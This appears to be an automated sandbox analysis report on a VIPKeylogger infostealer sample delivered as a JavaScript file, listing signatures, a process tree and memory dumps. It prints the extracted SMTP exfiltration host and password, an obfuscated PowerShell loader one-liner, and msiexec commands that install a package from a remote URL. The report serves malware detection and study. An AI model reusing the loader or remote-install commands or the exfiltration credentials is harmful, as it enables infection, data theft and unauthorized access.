Analysis
- user interaction
yes - max time kernel
149s - max time network
149s - platform
windows10-2004_x64 - resource
win10v2004-20260130-en - resource tags
- submitted
17/04/2026, 10:24
General
- Target 321.js
- Size 308KB
- Sample260417-mfcc2sd13z
- SHA256 7170342e404d36eaf353e372204c6380fa5dc08337e900dd74d76e86db54eb5b
Malware Config
Extracted
-
vipkeylogger
-
Protocol
smtp
-
Host
webmail.ozaydinkimya.com.tr
-
Port
587
-
Username
-
Password
Zyn348492
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Email to
Signatures
- Family: VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Badlisted process makes network request 18 IoCs
Network request originating from process or tool commonly abused by malware.
- Use of msiexec (install) with remote resource 3 IoCs
- Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
- Contacts third-party web service commonly abused for C2 1 TTPs 4 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Event Triggered Execution: Installer Packages 2 TTPs 3 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 7 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
- outlook_office_path 1 IoCs
- outlook_win_path 1 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\321.js1⤵
- Badlisted process makes network request
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell "$Eksame=($HOME+'/appdata/roaming/Rekapitul232');$Zambis=gc $Eksame;$Pumpen=$Zambis[3013]+$Zambis[3014]+$Zambis[3015]; .($Pumpen) $Zambis"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "$Eksame=($HOME+'/appdata/roaming/Rekapitul232');$Zambis=gc $Eksame;$Pumpen=$Zambis[3013]+$Zambis[3014]+$Zambis[3015]; .($Pumpen) $Zambis"1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\msiexec.exe"C:\WINDOWS\syswow64\msiexec.exe" /i https://Stru/Interth.msi2⤵
- Use of msiexec (install) with remote resource
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\SysWOW64\msiexec.exe"C:\WINDOWS\syswow64\msiexec.exe" /i https://Stru/Interth.msi2⤵
- Badlisted process makes network request
- Use of msiexec (install) with remote resource
- Accesses Microsoft Outlook profiles
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Event Triggered Execution: Installer Packages
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- outlook_office_path
- outlook_win_path
-
C:\Windows\SysWOW64\msiexec.exe"C:\WINDOWS\syswow64\msiexec.exe" /i https://Stru/Interth.msi3⤵
- Use of msiexec (install) with remote resource
- Event Triggered Execution: Installer Packages
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
StartupProfileData-NonInteractive
__PSScriptPolicyTest_20bkvl2s.qol.ps1
Grundfors.Dem
Rekapitul232
memory/1956-5-0x000001FEA03E0000-0x000001FEA048D000-memory.dmp
memory/1956-6-0x000001FEA0490000-0x000001FEA049C000-memory.dmp
memory/2344-76-0x0000000020990000-0x0000000020B52000-memory.dmp
memory/2344-74-0x000000001FC60000-0x000000001FCFC000-memory.dmp
memory/2344-73-0x0000000000A10000-0x0000000000A5A000-memory.dmp
memory/2344-72-0x0000000000A10000-0x0000000001C64000-memory.dmp
memory/2344-51-0x0000000000A10000-0x0000000001C64000-memory.dmp
memory/2344-77-0x00000000200F0000-0x0000000020140000-memory.dmp
memory/2344-78-0x0000000021090000-0x00000000215BC000-memory.dmp
memory/2436-40-0x0000000005730000-0x0000000005A84000-memory.dmp
memory/2436-45-0x0000000006290000-0x00000000062AA000-memory.dmp
memory/2436-30-0x0000000004E20000-0x0000000004E42000-memory.dmp
memory/2436-31-0x0000000005610000-0x0000000005676000-memory.dmp
memory/2436-32-0x0000000005680000-0x00000000056E6000-memory.dmp
memory/2436-28-0x00000000024C0000-0x00000000024D0000-memory.dmp
memory/2436-27-0x0000000000DB0000-0x0000000000DE6000-memory.dmp
memory/2436-42-0x0000000005D60000-0x0000000005D7E000-memory.dmp
memory/2436-43-0x0000000005DA0000-0x0000000005DEC000-memory.dmp
memory/2436-44-0x0000000006D40000-0x0000000006DD6000-memory.dmp
memory/2436-46-0x00000000062E0000-0x0000000006302000-memory.dmp
memory/2436-29-0x0000000004EB0000-0x00000000054D8000-memory.dmp
memory/2436-47-0x00000000075D0000-0x0000000007B74000-memory.dmp
memory/2436-48-0x0000000008200000-0x000000000887A000-memory.dmp
memory/2436-26-0x00000000024C0000-0x00000000024D0000-memory.dmp
memory/2436-50-0x0000000008880000-0x00000000099F7000-memory.dmp
memory/4280-25-0x000001FE219E0000-0x000001FE21A8D000-memory.dmp
memory/4280-24-0x000001FE200B0000-0x000001FE200BC000-memory.dmp
memory/4280-20-0x000001FE3A050000-0x000001FE3A060000-memory.dmp
memory/4280-21-0x000001FE3A050000-0x000001FE3A060000-memory.dmp
memory/4280-19-0x000001FE3A050000-0x000001FE3A060000-memory.dmp
memory/4280-15-0x000001FE21A90000-0x000001FE21AB2000-memory.dmp
memory/4280-7-0x000001FE3A050000-0x000001FE3A060000-memory.dmp